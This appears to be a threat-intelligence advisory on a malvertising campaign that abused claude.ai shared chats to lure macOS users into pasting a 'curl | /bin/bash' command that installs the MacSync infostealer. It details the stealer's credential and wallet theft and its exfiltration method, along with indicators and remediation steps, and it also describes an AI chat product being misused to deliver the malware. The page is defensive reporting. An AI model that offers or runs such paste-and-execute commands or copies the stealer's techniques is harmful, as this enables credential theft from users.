Anthropic claude.ai Shared-Chat Feature Abused in ClickFix Malvertising Campaign Delivering MacSync macOS Infostealer

Anthropic claude.ai Shared-Chat Feature Abused in ClickFix (TL-2026-0856), also tracked as claude.ai Shared Chat Malvertising Campaign, is a high-severity malware campaign, first published 2026-06-18. It has no confirmed attribution, affects Apple macOS, maps to 25 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 23 indicators of compromise.

Key facts for TL-2026-0856

Threat ID
TL-2026-0856
Also known as
claude.ai Shared Chat Malvertising Campaign, MacSync ClickFix Campaign, InstallFix Claude Code Campaign
Severity
HIGH
Status
ACTIVE
Category
MALWARE
First published
2026-06-18
Last reviewed
2026-06-18
Attribution confidence
NONE
Motivation
FINANCIAL
Target sectors
technology, software development, cryptocurrency, consumers
Target regions
Asia-Pacific, Taiwan, Japan, Singapore, India, France, Italy
Detection rules
9
Indicators of compromise
23

Malware and tooling in Anthropic claude.ai Shared-Chat Feature Abused in ClickFix

Malware and tooling: MacSync

A seven-week malvertising operation tracked by Trend Micro (TrendAI Research) hijacked Google Ads for popular AI developer tools to funnel 2,000+ victims to ClickFix lure pages, then escalated to hosting the social-engineering instructions inside Anthropic's own claude.ai shared-chat feature to deliver the MacSync macOS credential-stealing infostealer. The campaign used 106 unique malicious hostnames across six waves and concentrated heavily on Asia-Pacific (Taiwan 30.5% of traffic).

How Anthropic claude.ai Shared-Chat Feature Abused in ClickFix works

Trend Micro's TrendAI Research team documented a malvertising and social-engineering campaign that weaponized Anthropic's claude.ai shared-conversation (shared-chat) feature as a malware-delivery surface for the MacSync macOS infostealer. The operators began by purchasing Google Ads impersonating popular AI developer and macOS maintenance tools (Homebrew, Claude Code, ChatGPT Codex/Atlas, Perplexity, Cursor IDE, JetBrains, and generic 'Mac storage / clean / fix' utilities), funneling more than 2,000 victims to ClickFix-style fake install pages. Early waves hosted lures on disposable infrastructure including GitLab Pages (90+ malicious *.gitlab.io subdomains), Cloudflare Pages, Squarespace, and Tencent EdgeOne. The campaign then made a notable tactical leap by relocating the ClickFix instructions into claude.ai shared chats: because victims landed on a fully legitimate, trusted, TLS-valid Anthropic domain, browser warnings, manual URL inspection, and Google Safe Browsing heuristics were far easier to evade.

The ClickFix social-engineering pattern instructs the victim to copy and paste a one-line terminal command (typically a curl/bash pipe such as 'curl -fsSL <url> | /bin/bash') that often contained a base64-encoded script. Once decoded and executed, the loader fetched a second-stage payload. The decoder first checks whether a Russian keyboard layout or input method is enabled on the macOS host and aborts if so — a classic CIS-region avoidance / sandbox-discrimination measure. The second stage is the MacSync infostealer, which retrieves remote AppleScript commands from an API-key-gated C2 server and executes them in memory via osascript (no on-disk payload), defeating static analysis and many behavioral detections.

MacSync displays a deceptive macOS-style password prompt to harvest the user's login credential and then steals an extensive set of secrets: macOS Keychain databases, SSH private keys, AWS credentials, Kubernetes configs and other cloud keys, Chromium- and Firefox-based browser profiles (cookies, autofill, history, saved logins, extension storage), Safari cookies/autofill/notes, Telegram Desktop data, and cryptocurrency wallet data from both browser-based and desktop wallets — including seed-phrase exfiltration logic and binary patching of Ledger Live to inject attacker-supplied components. Collected data is staged as a ZIP archive in /tmp (e.g. /tmp/osalogging.zip), split into ~10 MB chunks, and exfiltrated to a hardcoded second-stage host over HTTPS via repeated authenticated PUT requests using a unique upload session ID, while a fake system-error message masks the activity and the loader relaunches as a background daemon with I/O redirected to /dev/null. Trend Micro observed at least 45 unique shared-conversation IDs, the most heavily trafficked (498818d9-1ddc-4fbb-9fa7-56dfb84840b0) receiving 55 confirmed traffic counts. After notification by TrendAI Research, Anthropic investigated, banned the responsible accounts, disabled the malicious shared conversations, and began implementing additional abuse mitigations for the shared-chat feature. No CVE or CVSS applies: this is platform/feature abuse and social engineering, not exploitation of a software vulnerability.

MITRE ATT&CK techniques used in TL-2026-0856

Collection

T1005 Data from Local System; T1074 Data Staged; T1560 Archive Collected Data

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1070 Indicator Removal; T1140 Deobfuscate/Decode Files or Information; T1497 Virtualization/Sandbox Evasion

Exfiltration

T1041 Exfiltration Over C2 Channel

Credential Access

T1056 Input Capture; T1539 Steal Web Session Cookie; T1552 Unsecured Credentials; T1555 Credentials from Password Stores

Execution

T1059 Command and Scripting Interpreter; T1204 User Execution

Command and Control

T1071 Application Layer Protocol; T1102 Web Service; T1105 Ingress Tool Transfer

Initial Access

T1189 Drive-by Compromise

Discovery

T1518 Software Discovery; T1614 System Location Discovery

Persistence

T1543 Create or Modify System Process

Resource Development

T1583 Acquire Infrastructure; T1608 Stage Capabilities; T1650 Acquire Access

Affected products and versions in Anthropic claude.ai Shared-Chat Feature Abused in ClickFix

  • Apple — macOS
    Vulnerable versions: macOS (general — social-engineering/infostealer, no version-specific flaw)
  • Anthropic — claude.ai shared-chat feature (abused as delivery surface, not vulnerable software)
    Vulnerable versions: claude.ai shared conversations (web)
    Fixed in: abuse mitigations deployed; malicious accounts banned and conversations disabled

Remediation for Anthropic claude.ai Shared-Chat Feature Abused in ClickFix

Immediate actions

  • Treat any instruction to paste a Terminal command (curl|bash, base64-decoded one-liners) sourced from an ad, chat, or 'install/fix' page as malicious regardless of the hosting domain — including claude.ai, gitlab.io, and other trusted domains
  • Block the known exfiltration/lure domains and GitLab Pages malicious subdomains at the web proxy/DNS layer
  • Hunt for /tmp/osalogging.zip, /tmp/.macsync, and osascript executing remotely fetched AppleScript on macOS endpoints
  • Rotate any credentials potentially exposed on infected hosts: macOS login/Keychain, SSH keys, AWS keys, Kubernetes configs, browser-saved logins, Telegram sessions, and crypto wallet seed phrases (assume Ledger Live tampering)

Workarounds

  • Where feasible, restrict Google Ads click-through for 'AI tool' / 'Mac cleanup' searches via DNS filtering category policy
  • Disable or sandbox automatic execution of pasted Terminal content; require review of clipboard contents before paste in privileged shells

Longer-term hardening

  • Deploy macOS EDR with behavioral detection for osascript in-memory execution, Keychain access, and mass file collection
  • Restrict or monitor outbound curl|bash execution and developer 'install script' patterns via endpoint policy
  • User-awareness training specifically on ClickFix/InstallFix Terminal-paste lures and trusted-domain abuse (AI chat-sharing)
  • Enforce hardware-key MFA and short-lived cloud credentials so stolen long-lived AWS/SSH secrets have limited value

Timeline of Anthropic claude.ai Shared-Chat Feature Abused in ClickFix

  • ClickFix lures impersonating ChatGPT Atlas observed via fake Google Sites pages instructing users to paste Terminal commands (early MacSync-adjacent activity).
  • MacSync macOS infostealer first surfaces (Jamf Threat Labs); malvertising campaign uses fake Mac maintenance domains such as get-mactech[.]com and getmaclab[.]com.
  • MacSync variant adds dynamic AppleScript payloads and in-memory osascript execution to evade static analysis and behavioral detection; campaigns target Belgium, India, and the Americas.
  • Trend Micro/TrendAI Research campaign tracking window begins; Google Ads for AI developer tools and Mac cleanup utilities funnel victims to ClickFix pages on GitLab Pages and similar hosting.
  • Operators relocate ClickFix social-engineering instructions into Anthropic's claude.ai shared-chat feature to abuse the trusted, TLS-valid domain and evade Safe Browsing/URL inspection.
  • Trend Micro publishes analysis: 106 unique malicious hostnames across six waves over seven weeks; 45+ shared-conversation IDs; 2,000+ victims.
  • Widespread secondary reporting (ghacks, CybersecurityNews) documents Google Ads + claude.ai shared-chat MacSync distribution.
  • SOC Prime publishes IOCs and detections for the fake-Homebrew MacSync infection chain (exfil domain glowmedaesthetics[.]com; /tmp/osalogging.zip; /tmp/.macsync).
  • End of the analyzed campaign activity window (Apr 8 – Jun 14, 2026); Taiwan accounts for 30.5% of traffic (772 counts), Japan 201, Singapore 188.
  • Following TrendAI Research notification, Anthropic bans the responsible accounts, disables the malicious shared conversations, and implements additional abuse mitigations; covered in The Hacker News ThreatsDay bulletin.

Sources cited for Anthropic claude.ai Shared-Chat Feature Abused in ClickFix

Threats related to Anthropic claude.ai Shared-Chat Feature Abused in ClickFix

Detection coverage for TL-2026-0856

As of 2026-06-18, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0856 across Splunk SPL, Microsoft KQL and Sigma, covering 23 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Community OSINT corroboration for TL-2026-0856

1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats